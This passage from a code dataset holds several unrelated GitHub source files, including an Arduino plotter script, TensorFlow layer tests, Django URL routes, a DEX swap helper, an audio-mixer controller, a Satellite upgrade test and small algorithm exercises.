9600)\n\ndef center(): \n ser.write(b'C' + bytes([X0, Y0]))\n\ndef point(x, y):\n # Adjust the positive and negative around to match the regular mathematical\n # grid (machine is just setup this way, it is what it is)\n print('C:', x, y)\n ser.write(b'C' + bytes([X0 - x, Y0 + y]))\n\ndef on():\n ser.write(b'H')\n\ndef off():\n ser.write(b'L')\n\n# Function that attempts to draw a square\n# This draws a filled square\ndef square():\n while True:\n for x in range(-20, 21,4):\n for y in range(-20, 21, 4):\n point(x, y)\n # Our \"baud rate\" is limited to 9600. Every \"command\" we send is 3bytes, so\n # we're limited to 9600/(3*8) = 400 commands a second, or one every 2.5ms\n # We wait 20ms just to be on the safe side\n\n time.sleep(0.01)\n\ndef lineimpl1(p1, p2):\n print(\"Drawing line with points:\", p1, p2)\n point(p1[0], p1[1])\n on()\n time.sleep(SLP)\n point(p2[0], p2[1])\n time.sleep(SLP)\n off()\n\ndef lineimpl2(p1, p2):\n print(\"Drawing line with points:\", p1, p2)\n point(p1[0], p1[1])\n time.sleep(SLP)\n point(int((p1[0]+p2[0])/2), int((p1[1]+p2[1])/2))\n time.sleep(SLP)\n point(p2[0], p2[1])\n\ndef line(p1, p2):\n lineimpl1(p1, p2)\n #lineimpl2(p1, p2)\n\ndef draw(shape, *args, **kwargs):\n while True:\n shape(*args, **kwargs)\n\n# Lets try an empty one\ndef square2(size):\n point(-size,-size)\n time.sleep(SLP)\n point(-size,size)\n time.sleep(SLP)\n point(size,size)\n time.sleep(SLP)\n point(size,-size)\n time.sleep(SLP)\n \n","repo_name":"ffledgling/Arduino","sub_path":"wall-writer/wall.py","file_name":"wall.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33650988729","text":"import itertools\n\nfrom absl.testing import parameterized\nimport tensorflow as tf, tf_keras\nfrom official.projects.edgetpu.vision.modeling import custom_layers\n\nGROUPS = [2, 4]\nINPUT_CHANNEL = [8, 16]\nOUTPUT_CHANNEL = [8, 16]\nUSE_BATCH_NORM = [True, False]\nACTIVATION = ['relu', 'linear']\nBATCH_NORM_LAYER = tf_keras.layers.BatchNormalization\n\n# 2 functionally identical group conv implementations.\nGROUP_CONV_IMPL = {\n 'layer': custom_layers.GroupConv2D,\n 'model': custom_layers.GroupConv2DKerasModel\n}\n\n\ndef _get_random_inputs(input_shape):\n return tf.random.uniform(shape=input_shape)\n\n\nclass GroupConv2DTest(tf.test.TestCase, parameterized.TestCase):\n\n # Test for combinations of groups, input_channel, output_channel, and\n # whether to use batch_norm\n @parameterized.parameters(\n itertools.product(GROUPS, INPUT_CHANNEL, OUTPUT_CHANNEL, USE_BATCH_NORM))\n def test_construction(self, groups, input_channel, output_channel,\n use_batch_norm):\n batch_norm_layer = BATCH_NORM_LAYER if use_batch_norm else None\n l = custom_layers.GroupConv2D(\n output_channel,\n 3,\n groups=groups,\n use_bias=True,\n batch_norm_layer=batch_norm_layer)\n inputs = _get_random_inputs(input_shape=(1, 4, 4, output_channel))\n _ = l(inputs)\n # kernel and bias for each group. When using batch norm, 2 additional\n # trainable weights per group for batchnorm layers: gamma and beta.\n expected_num_trainable_weights = groups * (2 + 2 * use_batch_norm)\n self.assertLen(l.trainable_weights, expected_num_trainable_weights)\n\n @parameterized.parameters(\n itertools.product(GROUPS, INPUT_CHANNEL, OUTPUT_CHANNEL))\n def test_kernel_shapes(self, groups, input_channel, output_channel):\n l = custom_layers.GroupConv2D(\n output_channel, 3, groups=groups, use_bias=False)\n _ = l(_get_random_inputs(input_shape=(1, 32, 32, input_channel)))\n expected_kernel_shapes = [(3, 3, int(input_channel / groups),\n int(output_channel / groups))\n for _ in range(groups)]\n kernel_shapes = [\n l.trainable_weights[i].get_shape()\n for i in range(len(l.trainable_weights))\n ]\n self.assertListEqual(kernel_shapes, expected_kernel_shapes)\n\n @parameterized.parameters(\n itertools.product(GROUPS, INPUT_CHANNEL, OUTPUT_CHANNEL))\n def test_output_shapes(self, groups, input_channel, output_channel):\n l = custom_layers.GroupConv2D(\n output_channel, 3, groups=groups, use_bias=False, padding='same')\n outputs = l(_get_random_inputs(input_shape=[2, 32, 32, input_channel]))\n self.assertListEqual(outputs.get_shape().as_list(),\n [2, 32, 32, output_channel])\n\n @parameterized.parameters(\n itertools.product(GROUPS, USE_BATCH_NORM, ACTIVATION))\n def test_serialization_deserialization(self, groups, use_batch_norm,\n activation):\n batch_norm_layer = BATCH_NORM_LAYER if use_batch_norm else None\n l = custom_layers.GroupConv2D(\n filters=8,\n kernel_size=1,\n groups=groups,\n use_bias=False,\n padding='same',\n batch_norm_layer=batch_norm_layer,\n activation=activation)\n config = l.get_config()\n # New layer from config\n new_l = custom_layers.GroupConv2D.from_config(config)\n # Copy the weights too.\n l.build(input_shape=(1, 1, 4))\n new_l.build(input_shape=(1, 1, 4))\n new_l.set_weights(l.get_weights())\n inputs = _get_random_inputs((1, 1, 1, 4))\n self.assertNotEqual(l, new_l)\n self.assertAllEqual(l(inputs), new_l(inputs))\n\n @parameterized.parameters(\n itertools.product(GROUPS, INPUT_CHANNEL, OUTPUT_CHANNEL, USE_BATCH_NORM,\n ACTIVATION))\n def test_equivalence(self, groups, input_channel, output_channel,\n use_batch_norm, activation):\n batch_norm_layer = BATCH_NORM_LAYER if use_batch_norm else None\n kwargs = dict(\n filters=output_channel,\n groups=groups,\n kernel_size=1,\n use_bias=False,\n batch_norm_layer=batch_norm_layer,\n activation=activation)\n gc_layer = tf_keras.Sequential([custom_layers.GroupConv2D(**kwargs)])\n gc_model = custom_layers.GroupConv2DKerasModel(**kwargs)\n gc_layer.build(input_shape=(None, 3, 3, input_channel))\n gc_model.build(input_shape=(None, 3, 3, input_channel))\n\n inputs = _get_random_inputs((2, 3, 3, input_channel))\n gc_layer.set_weights(gc_model.get_weights())\n\n self.assertAllEqual(gc_layer(inputs), gc_model(inputs))\n\n @parameterized.parameters(('layer', 1, 4), ('layer', 4, 4), ('model', 1, 4),\n ('model', 4, 4))\n def test_invalid_groups_raises_value_error(self, gc_type, groups,\n output_channel):\n\n with self.assertRaisesRegex(ValueError, r'^(Number of groups)'):\n _ = GROUP_CONV_IMPL[gc_type](\n filters=output_channel, groups=groups, kernel_size=3)\n\n @parameterized.parameters(('layer', 3, 4), ('layer', 4, 6), ('model', 3, 4),\n ('model', 4, 6))\n def test_non_group_divisible_raises_value_error(self, gc_type, groups,\n input_channel):\n with self.assertRaisesRegex(ValueError, r'^(Number of input channels)'):\n l = GROUP_CONV_IMPL[gc_type](\n filters=groups * 4, groups=groups, kernel_size=3)\n l.build(input_shape=(4, 4, input_channel))\n\n @parameterized.parameters(('layer'), ('model'))\n def test_non_supported_data_format_raises_value_error(self, gc_type):\n with self.assertRaisesRegex(ValueError, r'^(.*(channels_last).*)'):\n _ = GROUP_CONV_IMPL[gc_type](\n filters=4, groups=2, kernel_size=1, data_format='channels_first')\n\n @parameterized.parameters(('layer'), ('model'))\n def test_invalid_batch_norm_raises_value_error(self, gc_type):\n\n def my_batch_norm(x):\n return x**2\n\n with self.assertRaisesRegex(ValueError, r'^(.*(not a class).*)'):\n _ = GROUP_CONV_IMPL[gc_type](\n filters=4, groups=2, kernel_size=1, batch_norm_layer=my_batch_norm)\n\n @parameterized.parameters(('layer'), ('model'))\n def test_invalid_padding_raises_value_error(self, gc_type):\n with self.assertRaisesRegex(ValueError, r'^(.*(same, or valid).*)'):\n _ = GROUP_CONV_IMPL[gc_type](\n filters=4, groups=2, kernel_size=1, padding='causal')\n\n\nclass ArgmaxTest(parameterized.TestCase, tf.test.TestCase):\n\n @parameterized.parameters(([16, 32, 64], tf.dtypes.float32, tf.dtypes.int32),\n ([255, 19], tf.dtypes.int32, tf.dtypes.int64))\n def test_reference_match(self, shape, input_type, output_type):\n random_inputs = tf.random.uniform(shape=shape, maxval=10, dtype=input_type)\n for axis in range(-len(shape) + 1, len(shape)):\n control_output = tf.math.argmax(\n random_inputs, axis=axis, output_type=output_type)\n test_output = custom_layers.argmax(\n random_inputs, axis=axis, output_type=output_type)\n self.assertAllEqual(control_output, test_output)\n","repo_name":"tensorflow/models","sub_path":"official/projects/edgetpu/vision/modeling/custom_layers_test.py","file_name":"custom_layers_test.py","file_ext":"py","file_size_in_byte":7109,"program_lang":"python","lang":"en","doc_type":"code","stars":76227,"dataset":"github-code","pt":"29"} +{"seq_id":"41376547675","text":"# Input:\r\n# N = 4\r\n# matrix[][] = {{1, 0, 2, -1},\r\n# {3, 0, 0, 5},\r\n# {2, 1, 4, -3},\r\n# {1, 0, 5, 0}}\r\n# Output: 30\r\n# Explanation:\r\n# Determinant of the given matrix is 30.\r\n# import builtins\r\n\r\n\r\ndef get_element(matrix,row,col):\r\n return [i[:col]+i[col+1:] for i in (matrix[:row]+matrix[row+1:])]\r\ndef Method_1(matrix):\r\n if len(matrix)==2:\r\n ans=matrix[0][0]*matrix[1][1]-matrix[0][1]*matrix[1][0]\r\n return ans\r\n result=0\r\n for i in range(len(matrix)):\r\n\r\n sign=(-1)**i\r\n div=Method_1(get_element(matrix,0,i))\r\n\r\n result+=(sign*matrix[0][i]*div)\r\n\r\n return result\r\n \r\n\r\nif __name__ == '__main__':\r\n matrix=[[1, 0, 2, -1],\r\n [3, 0, 0, 5],\r\n [2, 1, 4, -3],\r\n [1, 0, 5, 0]]\r\n print(Method_1(matrix))\r\n ","repo_name":"aditya-2703/DSA","sub_path":"MATRIX/DETERMINATION_TWO_MAT.PY","file_name":"DETERMINATION_TWO_MAT.PY","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"29"} +{"seq_id":"18033860258","text":"from django.conf.urls import url\n\nfrom .views import IndexView\nfrom .views import SuModelCreate, SuModelDelete, SuObjects, SuObjectUpdate, SuObjectCreate, SuObjectDelete\n\nurlpatterns = [\n\n # Index\n url(r'^$', IndexView.as_view(), name='su_index'),\n\n # Model\n url(r'^model/create/$', SuModelCreate.as_view(), name='su_model_create'),\n url(r'^model/(?P<pk>\\w+)/delete$', SuModelDelete.as_view(), name='su_model_delete'),\n\n # Object\n url(r'^object/(?P<model>\\w+)/$', SuObjects.as_view(), name='su_objects'),\n url(r'^object/(?P<model>\\w+)/create/$', SuObjectCreate.as_view(), name='su_object_create'),\n url(r'^object/(?P<model>\\w+)/(?P<pk>\\d+)/$', SuObjectUpdate.as_view(), name='su_object_update'),\n url(r'^object/(?P<model>\\w+)/(?P<pk>\\d+)/delete/$', SuObjectDelete.as_view(), name='su_object_delete'),\n\n]\n","repo_name":"nuidi-dev/django-su","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"26082931963","text":"import requests\nimport web3 as web3\n\nfrom _utils.log import log\nfrom chain_operation.constants import HEADER\nfrom chain_operation.exception_handler import transaction_exception_handler\nimport web3\n\n\ndef get_quote_path_id(chain_id, sender, in_addr, out_addr, dec, amount):\n url = \"https://api.odos.xyz/sor/quote/v2\"\n params = {\n \"chainId\": chain_id,\n \"inputTokens\": [\n {\n \"tokenAddress\": in_addr,\n \"amount\": str(int(amount * 10 ** dec))\n }\n ],\n \"outputTokens\": [\n {\n \"tokenAddress\": out_addr,\n \"proportion\": 1\n }\n ],\n \"slippageLimitPercent\": 0.5,\n \"userAddr\": sender\n }\n MAX_RETRY = 10\n while MAX_RETRY:\n try:\n MAX_RETRY -= 1\n log.info(f\"getting path id, {MAX_RETRY} times left\")\n # must complete.\n req = requests.post(url=url, json=params, headers=HEADER)\n req_json = req.json()\n return req_json[\"pathId\"]\n except Exception as e:\n log.warning(\"get quote failed, retrying\")\n return None\n\n\n\ndef get_assemble(chain_id, sender, in_addr, out_addr, dec, amount):\n path_id = get_quote_path_id(chain_id, sender, in_addr, out_addr, dec, amount)\n if path_id is None:\n raise Exception(\"get path id failed\")\n params = {\n \"userAddr\": sender,\n \"pathId\": path_id,\n \"simulate\": False\n }\n url = \"https://api.odos.xyz/sor/assemble\"\n MAX_RETRY = 10\n while MAX_RETRY:\n try:\n MAX_RETRY -= 1\n log.info(f\"getting assemble {MAX_RETRY} times left\")\n req = requests.post(url=url, json=params, headers=HEADER)\n req_json = req.json()\n hex_data = req_json[\"transaction\"][\"data\"]\n to = req_json[\"transaction\"][\"to\"]\n return hex_data, to\n except Exception:\n log.warning(\"get quote failed, retrying\")\n return None, None\n\n\n@transaction_exception_handler\ndef send_transaction(web3: web3.Web3,\n side: int,\n sender: str,\n to: str,\n chain_id: int,\n token_left_address: str,\n token_left_decimals: int,\n token_right_address: str,\n token_right_decimals: int,\n gas_limit: int,\n quantity: float,\n data: dict,\n signature: str,\n is_multi,\n is_sturb: bool,\n slave_address=None,\n slave_decimals=None,\n pool=None\n ) -> str:\n if side == 1:\n # buy\n hex_data, to = get_assemble(chain_id, sender, token_left_address, token_right_address, token_left_decimals,\n quantity)\n elif side == 0:\n hex_data, to = get_assemble(chain_id, sender, token_right_address, token_left_address, token_right_decimals,\n quantity)\n else:\n raise Exception(f\"side error: {side}\")\n if hex_data is None:\n raise Exception(\"get assemble failed\")\n nonce = data[\"nonce\"]\n gas_price = data[\"gas_price\"]\n\n # Build transaction\n signed_txn = web3.eth.account.sign_transaction(dict(\n nonce=nonce,\n # maxFeePerGas=gas_price,\n # maxPriorityFeePerGas=gas_price,\n gasPrice=gas_price,\n gas=gas_limit,\n chainId=chain_id,\n to=to,\n data=hex_data,\n ),\n signature,\n )\n # Send transaction\n txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)\n\n return txn_hash.hex()","repo_name":"Athsus/Exchange-V2","sub_path":"Exchange-V2/chain_operation/send_transaction/Odos_SOR_send_transaction.py","file_name":"Odos_SOR_send_transaction.py","file_ext":"py","file_size_in_byte":3764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22085021614","text":"import logging\nfrom enum import IntEnum\n\nimport vban_cmd\n\nfrom . import configuration\nfrom .layer import ILayer\nfrom .states import AudioState\n\nlogger = logging.getLogger(__name__)\n\n\nButtons = IntEnum(\"Buttons\", \"mute_mics only_discord only_stream\", start=0)\n\n\nclass Audio(ILayer):\n \"\"\"Audio concrete class\"\"\"\n\n def __init__(self, duckypad, **kwargs):\n super().__init__(duckypad)\n for attr, val in kwargs.items():\n setattr(self, attr, val)\n\n self.reset_states()\n\n @property\n def identifier(self):\n return type(self).__name__\n\n @property\n def state(self):\n return self._state\n\n @state.setter\n def state(self, val):\n self._state = val\n\n def reset_states(self):\n self.state = AudioState()\n for button in Buttons:\n self.vm.button[button].stateonly = getattr(AudioState, button.name)\n\n def mute_mics(self):\n self.state.mute_mics = not self.state.mute_mics\n if self.state.mute_mics:\n self.vm.strip[0].mute = True\n self.vm.strip[1].mute = True\n self.vm.strip[4].mute = True\n self.logger.info(\"Mics Muted\")\n else:\n self.vm.strip[0].mute = False\n self.vm.strip[1].mute = False\n self.vm.strip[4].mute = False\n self.logger.info(\"Mics Unmuted\")\n self.vm.button[Buttons.mute_mics].stateonly = self.state.mute_mics\n\n def only_discord(self):\n self.state.only_discord = not self.state.only_discord\n if self.state.only_discord:\n self.mixer.dca[0].on = False\n self.vm.strip[4].mute = True\n self.logger.info(\"Only Discord Enabled\")\n else:\n self.vm.strip[4].mute = False\n self.mixer.dca[0].on = True\n self.logger.info(\"Only Discord Disabled\")\n self.vm.button[Buttons.only_discord].stateonly = self.state.only_discord\n\n def only_stream(self):\n self.state.only_stream = not self.state.only_stream\n if self.state.only_stream:\n self.vm.bus[5].mute = True\n self.vm.bus[6].mute = True\n self.vm.strip[2].gain = -3\n self.vm.strip[3].gain = -3\n self.vm.strip[6].gain = -3\n self.logger.info(\"Only Stream Enabled\")\n else:\n self.vm.strip[2].gain = 0\n self.vm.strip[3].gain = 0\n self.vm.strip[6].gain = 0\n self.vm.bus[5].mute = False\n self.vm.bus[6].mute = False\n self.logger.info(\"Only Stream Disabled\")\n self.vm.button[Buttons.only_stream].stateonly = self.state.only_stream\n\n def sound_test(self):\n def toggle_soundtest(params):\n onyx_conn = configuration.get(\"vban_onyx\")\n iris_conn = configuration.get(\"vban_iris\")\n assert all(\n [onyx_conn, iris_conn]\n ), \"expected configurations for onyx_conn, iris_conn\"\n\n with vban_cmd.api(\"potato\", outbound=True, **onyx_conn) as vban:\n vban.strip[0].apply(params)\n with vban_cmd.api(\"potato\", outbound=True, **iris_conn) as vban:\n vban.strip[0].apply(params)\n\n ENABLE_SOUNDTEST = {\n \"A1\": True,\n \"A2\": True,\n \"B1\": False,\n \"B2\": False,\n \"mono\": True,\n }\n DISABLE_SOUNDTEST = {\n \"A1\": False,\n \"A2\": False,\n \"B1\": True,\n \"B2\": True,\n \"mono\": False,\n }\n\n self.state.sound_test = not self.state.sound_test\n if self.state.sound_test:\n self.vm.strip[4].apply({\"B3\": False, \"A1\": True, \"mute\": False})\n self.vm.vban.outstream[0].on = True\n self.vm.vban.outstream[1].on = True\n self.vm.vban.outstream[0].route = 0\n self.vm.vban.outstream[1].route = 0\n toggle_soundtest(ENABLE_SOUNDTEST)\n self.logger.info(\"Sound Test Enabled\")\n else:\n toggle_soundtest(DISABLE_SOUNDTEST)\n self.vm.vban.outstream[0].route = 5\n self.vm.vban.outstream[1].route = 6\n self.vm.strip[4].apply({\"B3\": True, \"A1\": False, \"mute\": True})\n self.logger.info(\"Sound Test Disabled\")\n\n def solo_onyx(self):\n \"\"\"placeholder method.\"\"\"\n\n def solo_iris(self):\n \"\"\"placeholder method.\"\"\"\n\n def toggle_workstation_to_onyx(self):\n self.state.ws_to_onyx = not self.state.ws_to_onyx\n onyx_conn = configuration.get(\"vban_onyx\")\n if self.state.ws_to_onyx:\n with vban_cmd.api(\"potato\", **onyx_conn) as vban:\n vban.vban.instream[0].on = True\n self.vm.strip[5].gain = -6\n self.vm.vban.outstream[2].on = True\n else:\n with vban_cmd.api(\"potato\", **onyx_conn) as vban:\n vban.vban.instream[0].on = False\n self.vm.strip[5].gain = 0\n self.vm.vban.outstream[2].on = False\n","repo_name":"onyx-and-iris/duckypad-twitch","sub_path":"duckypad_twitch/audio.py","file_name":"audio.py","file_ext":"py","file_size_in_byte":4965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"19710023465","text":"\"\"\"Test Hosts-Content related Upgrade Scenarios\n\n:Requirement: UpgradedSatellite\n\n:CaseAutomation: Automated\n\n:CaseLevel: Acceptance\n\n:CaseComponent: Hosts-Content\n\n:Team: Phoenix-subscriptions\n\n:TestType: Functional\n\n:CaseImportance: High\n\n:Upstream: No\n\"\"\"\nimport pytest\n\n\nclass TestScenarioDBseedHostMismatch:\n \"\"\"This test scenario verifies that the upgrade succeeds even when inconsistencies exist\n in the database between Organization, Location and Content Host.\n\n Test Steps:\n\n 1. Before Satellite upgrade\n 2. Create a New Organization and Location\n 3. Create a Content Host in the Organization\n 4. Ensure the Location is not in the Org\n 5. Assign the Content Host to the Location using the rake console\n 6. Ensure the Host is in both, but the Location is not in Org, creating a mismatch\n 7. Upgrade Satellite\n 8. Ensure upgrade succeeds\n\n BZ: 2043705, 2028786, 2019467\n \"\"\"\n\n @pytest.mark.pre_upgrade\n def test_pre_db_seed_host_mismatch(\n self, target_sat, function_org, function_location, rhel7_contenthost_module, save_test_data\n ):\n \"\"\"\n :id: preupgrade-28861b9f-8abd-4efc-bfd5-40b7e825a941\n\n :steps:\n 1. Create a Location\n 2. Create an Org and ensure the Location is not in the Org\n 3. Create a Content Host on Org\n 4. Use rake console to assign the Content Host to the Location\n 5. Ensure the mismatch is created for Content Host when Location is not in the Org\n 6. Do the upgrade\n\n :expectedresults:\n 1. The Content Host is assigned to both Location and Org, but Location is not in Org\n\n :BZ: 2043705, 2028786, 2019467\n\n :customerscenario: true\n \"\"\"\n rhel7_contenthost_module.install_katello_ca(target_sat)\n rhel7_contenthost_module.register_contenthost(org=function_org.label, lce='Library')\n\n assert rhel7_contenthost_module.nailgun_host.organization.id == function_org.id\n\n # Now we need to break the taxonomy between chost, org and location\n rake_host = f\"host = ::Host.find({rhel7_contenthost_module.nailgun_host.id})\"\n rake_location = f\"; host.location_id={function_location.id}\"\n rake_host_save = \"; host.save!\"\n result = target_sat.run(\n f\"echo '{rake_host}{rake_location}{rake_host_save}' | foreman-rake console\"\n )\n\n assert 'true' in result.stdout\n assert rhel7_contenthost_module.nailgun_host.location.id == function_location.id\n\n save_test_data(\n {\n 'client_name': rhel7_contenthost_module.hostname,\n 'organization_id': function_org.id,\n 'location_id': function_location.id,\n }\n )\n\n @pytest.mark.post_upgrade(depend_on=test_pre_db_seed_host_mismatch)\n def test_post_db_seed_host_mismatch(self, target_sat, pre_upgrade_data):\n \"\"\"\n :id: postupgrade-28861b9f-8abd-4efc-bfd5-40b7e825a941\n\n :steps:\n 1. After the upgrade finishes ensure the content host data is unchanged\n\n :expectedresults:\n 1. The upgrade succeeds and content host exists\n\n :BZ: 2043705, 2028786, 2019467\n\n :customerscenario: true\n \"\"\"\n chostname = pre_upgrade_data['client_name']\n org_id = pre_upgrade_data['organization_id']\n loc_id = pre_upgrade_data['location_id']\n chost = target_sat.api.Host().search(query={'search': chostname})\n\n assert org_id == chost[0].organization.id\n assert loc_id == chost[0].location.id\n","repo_name":"SatelliteQE/robottelo","sub_path":"tests/upgrades/test_hostcontent.py","file_name":"test_hostcontent.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"29"} +{"seq_id":"26132605509","text":"import json\nimport os\nimport base64\nimport requests\n\nfrom base64 import b64decode\nfrom pathlib import Path\n\n\nclass image_generator:\n \"\"\"Image generator class using DALLE 2\"\"\"\n\n def __init__(self, img_write_dir, api_url):\n \"\"\"\n Arguments:\n img_write_dir (str): Directory to write images to.\n api_url (str): URL of API.\n \"\"\"\n self.img_write_dir = img_write_dir\n self.api_url = api_url\n\n def _submit_post(self, url: str, data: dict):\n \"\"\"\n Submit a POST request to the given URL with the given data.\n \"\"\"\n return requests.post(url, data=json.dumps(data))\n\n def _save_encoded_image(self, b64_image: str, output_path: str):\n \"\"\"\n Save the given image to the given output path.\n \"\"\"\n with open(output_path, \"wb\") as image_file:\n image_file.write(base64.b64decode(b64_image))\n\n def generate(\n self,\n data,\n input_type,\n output_name=None,\n negative_prompt=\"\",\n size=512,\n restore_faces=True,\n num_images=1,\n steps=10,\n cfg_scale=7,\n ):\n \"\"\"Generate an image from a text prompt.\n\n See https://github.com/AUTOMATIC1111/stable-diffusion-webui/blob/master/modules/txt2img.py for api args\n\n Arguments:\n data (str): input data.\n input_type (str): Type of input. Must be either \"prompt\" or \"image\".\n output_name (str): Name of output file.\n negative_prompt (str): Negative prompt to use to exclude certain things from the image.\n size (str): Size of generated image. sizexsize.\n restore_faces (bool): Whether to restore faces in generated images.\n num_images (int): Number of images to generate.\n steps (int): Number of steps to run the model for.\n cfg_scale (int): Classifier free guidance scale. How strongly the image should conform to the prompt.\n \"\"\"\n # Set output_name if none provided.\n if output_name is None:\n output_name = data[:20]\n\n full_path = f\"{self.img_write_dir}{output_name}.png\"\n\n if input_type == \"prompt\":\n send_data = { # Specify the config for the generated images.\n \"sd_model\": \"v2-1_768-ema-pruned.safetensors\",\n \"prompt\": data,\n \"negative_prompt\": negative_prompt,\n \"width\": size,\n \"height\": size,\n \"restore_faces\": False,\n \"tiling\": False,\n \"batch_size\": num_images,\n \"steps\": steps,\n \"cfg_scale\": cfg_scale,\n }\n response = self._submit_post(self.api_url, send_data)\n self._save_encoded_image(response.json()[\"images\"][0], full_path)\n elif input_type == \"image\":\n raise NotImplementedError(\"Image input not yet implemented.\")\n else:\n raise ValueError(\"Argument 'input_type' must one of 'prompt', 'image'.\")\n","repo_name":"baddestsupercec/Textgame","sub_path":"image_generator_free/image_generator.py","file_name":"image_generator.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"27093621377","text":"def find_smallest(arr):\n smallest = 0\n for i in range(1, len(arr)):\n if arr[smallest] > arr[i]:\n smallest = i\n return smallest\n\n\ndef selection_sort(arr):\n sorted_array = []\n for i in range(len(arr)):\n temp = find_smallest(arr)\n sorted_array.append(arr.pop(temp))\n return sorted_array\n\nprint(selection_sort([35,3,2,6,8,33, 1]))","repo_name":"SajedurRahmanShihab/python","sub_path":"Grooking Algorithm/Chapter 2 - Selection Sort/SelectionSort.py","file_name":"SelectionSort.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9666771112","text":"#! /usr/bin/env python\n# coding: utf-8\n\n# 学号:G20200343040079\n\n\"\"\"\n题目描述\n42. Trapping Rain Water\nHard\nGiven n non-negative integers representing an elevation map where the width of each bar is 1,\ncompute how much water it is able to trap after raining.\n\nThe above elevation map is represented by array [0,1,0,2,1,0,1,3,2,1,2,1].\nIn this case, 6 units of rain water (blue section) are being trapped. Thanks Marcos for contributing this image!\n\nExample:\nInput: [0,1,0,2,1,0,1,3,2,1,2,1]\nOutput: 6\n\"\"\"\n\n\nfrom typing import List\n\n\nclass Solution:\n def trap(self, height: List[int]) -> int:\n # # 解法1,暴力解法,复杂度O(n^2),Time Limit Exceeded\n # if not height: return 0\n # ans = 0\n # for i in range(1, len(height) - 1):\n # max_left = max_right = 0\n # j = i - 1\n # while j >= 0:\n # max_left = max(max_left, height[j])\n # j -= 1\n # j = i + 1\n # while j < len(height):\n # max_right = max(max_right, height[j])\n # j += 1\n # ans += max(0, min(max_left, max_right) - height[i])\n # return ans\n\n # # 解法2,动态规划,三次遍历,复杂度O(n)\n # # 加速求解一个柱子的左右两边最大值,\n # if not height: return 0\n #\n # max_left = [0] * len(height)\n # max_right = [0] * len(height)\n # for i in range(1, len(height)):\n # max_left[i] = max(max_left[i - 1], height[i - 1])\n # for i in range(len(height) - 2, -1, -1):\n # max_right[i] = max(max_right[i + 1], height[i + 1])\n # ans = 0\n # for i in range(len(height)):\n # ans += max(0, min(max_left[i], max_right[i]) - height[i])\n # return ans\n\n # # 解法3,双指针法,两个指针向中间最大值靠拢\n # # 复杂度O(n)\n # if not height: return 0\n # i, j = 0, len(height) - 1\n # ans = max_left = max_right = 0\n # while i < j:\n # if height[i] <= height[j]:\n # ans += max(0, max_left - height[i])\n # max_left = max(max_left, height[i])\n # i += 1\n # else:\n # ans += max(0, max_right - height[j])\n # max_right = max(max_right, height[j])\n # j -= 1\n # return ans\n\n # # 解法4,查找最大值,以最大值index为中心,分别从左和从右向最大值方向遍历\n # # 复杂度O(n)\n # if not height: return 0\n # max_index = 0\n # for i in range(len(height)):\n # if height[i] > height[max_index]:\n # max_index = i\n # ans = 0\n # max_left = 0\n # for i in range(max_index):\n # ans += max(0, max_left - height[i])\n # max_left = max(max_left, height[i])\n # max_right = 0\n # for j in range(len(height) - 1, max_index, -1):\n # ans += max(0, max_right - height[j])\n # max_right = max(max_right, height[j])\n # return ans\n\n # stack\n # 解法5,用stack来做,stack里面的元素关心是边界变化的点\n # 这里计算面积,是上下层层计算\n if not height: return 0\n from collections import deque\n stack = deque()\n ans = 0\n for i in range(len(height)):\n while stack and height[i] > height[stack[-1]]:\n top = stack.pop()\n if not stack: break\n width = i - stack[-1] - 1\n ans += (min(height[i], height[stack[-1]]) - height[top]) * width\n\n stack.append(i)\n return ans\n","repo_name":"algorithm007-class01/algorithm007-class01","sub_path":"Week_02/G20200343040079/LeetCode_42_0079.py","file_name":"LeetCode_42_0079.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"29"} +{"seq_id":"10120208350","text":"import pygame\n\nclass Bullet(pygame.sprite.Sprite):\n def __init__(self, player, nball):\n super().__init__()\n self.image = nball\n self.image = pygame.transform.scale(self.image, (10, 10))\n self.rect = self.image.get_rect()\n self.angle = player.angle\n self.pos = pygame.Vector2(player.rect.center)\n self.rect.center = round(self.pos.x), round(self.pos.y)\n self.direction = pygame.Vector2(10, 1).rotate(-self.angle)\n self.existCount = 5\n \n def update(self):\n self.pos += self.direction\n self.rect.center = round(self.pos.x), round(self.pos.y)\n \n def killBullet(self):\n self.existCount -= 1\n if self.existCount == 0:\n return True\n return False","repo_name":"hdolz/combat_atari_pygame","sub_path":"modules/bullet.py","file_name":"bullet.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14000966523","text":"# Accepted\n# Python 3\n\nm, n = map(int, input().split())\np = int(input().strip())\n\n# see on the khan accademy tutorial for geometric distribution\n# https://www.khanacademy.org/math/statistics-probability/random-variables-stats-library/random-variables-geometric/v/cumulative-geometric-probability-less-than-a-value\nprint(round(1-((1-(m/n))**p), 3))\n\n","repo_name":"abidkhan484/hacerrankScraping","sub_path":"scrapeHackerrankCode/codes/s10-geometric-distribution-2.py","file_name":"s10-geometric-distribution-2.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"38299558824","text":"import numpy as np\nfrom subsbml import *\n\ncell = System('cell')\n\n# B1 - promoter sigX - utr1 - tetR\n# B1 - pLac - utr1 - sigmaX (constituitively expressed protein sigmaX - input plasmid)\nB1 = cell.createSubsystem('models/B1.xml','B1')\n# SBML model gets converted to Level 3 Version 1\nlibsbml.writeSBML(B1.getSBMLDocument(),'models/B1converted.xml')\n# 